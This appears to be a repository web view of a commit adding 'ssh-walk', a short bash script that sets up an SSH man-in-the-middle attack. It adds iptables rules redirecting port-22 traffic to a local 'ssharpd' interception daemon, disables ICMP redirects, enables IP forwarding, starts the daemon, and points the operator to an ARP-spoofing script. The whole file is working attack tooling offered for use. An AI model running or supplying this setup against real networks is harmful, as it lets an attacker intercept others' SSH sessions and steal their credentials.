summaryrefslogtreecommitdiff
path: root/other/ssharp/ssh-walk
diff options
context:
space:
mode:
Diffstat (limited to 'other/ssharp/ssh-walk')
-rw-r--r--other/ssharp/ssh-walk46
1 files changed, 46 insertions, 0 deletions
diff --git a/other/ssharp/ssh-walk b/other/ssharp/ssh-walk
new file mode 100644
index 0000000..eb23e08
--- /dev/null
+++ b/other/ssharp/ssh-walk
@@ -0,0 +1,46 @@
1#!/bin/bash
2
3# set this path to a ssharpd binary
4SSHARPD=./ssharp/__sshd
5
6echo -n "Setting up ssh traffic redirection... "
7iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 1000:8000 -j REDIRECT --to-ports 10000 2> /dev/null
8if [ "$?" != "0" ]; then
9 echo "Error!"
10 exit 1
11fi
12
13iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 20000:60000 -j REDIRECT --to-ports 10000
14if [ "$?" != "0" ]; then
15 echo "Error!"
16 exit 1
17fi
18
19echo "done."
20
21echo -n "Configuring interfaces... "
22for x in `ls /proc/sys/net/ipv4/conf`; do
23 echo 0 > /proc/sys/net/ipv4/conf/$x/send_redirects
24done
25
26echo 1 > /proc/sys/net/ipv4/ip_forward
27echo "done."
28
29
30echo > /tmp/____asd
31echo -n "Starting daemon... "
32$SSHARPD -4 -p 10000 < /tmp/____asd 2> /dev/null
33
34if [ "$?" != "0" ]; then
35 echo "Error!"
36 rm -rf /tmp/____asd
37 exit 1
38fi
39rm -rf /tmp/____asd
40echo "done."
41
42echo "Dropping vicki@incidents.org a hint about suspicious traffic... "
43echo "Error!"
44
45echo "Now run arp.sh (uhh.. did you already write it?)"
46 \ No newline at end of file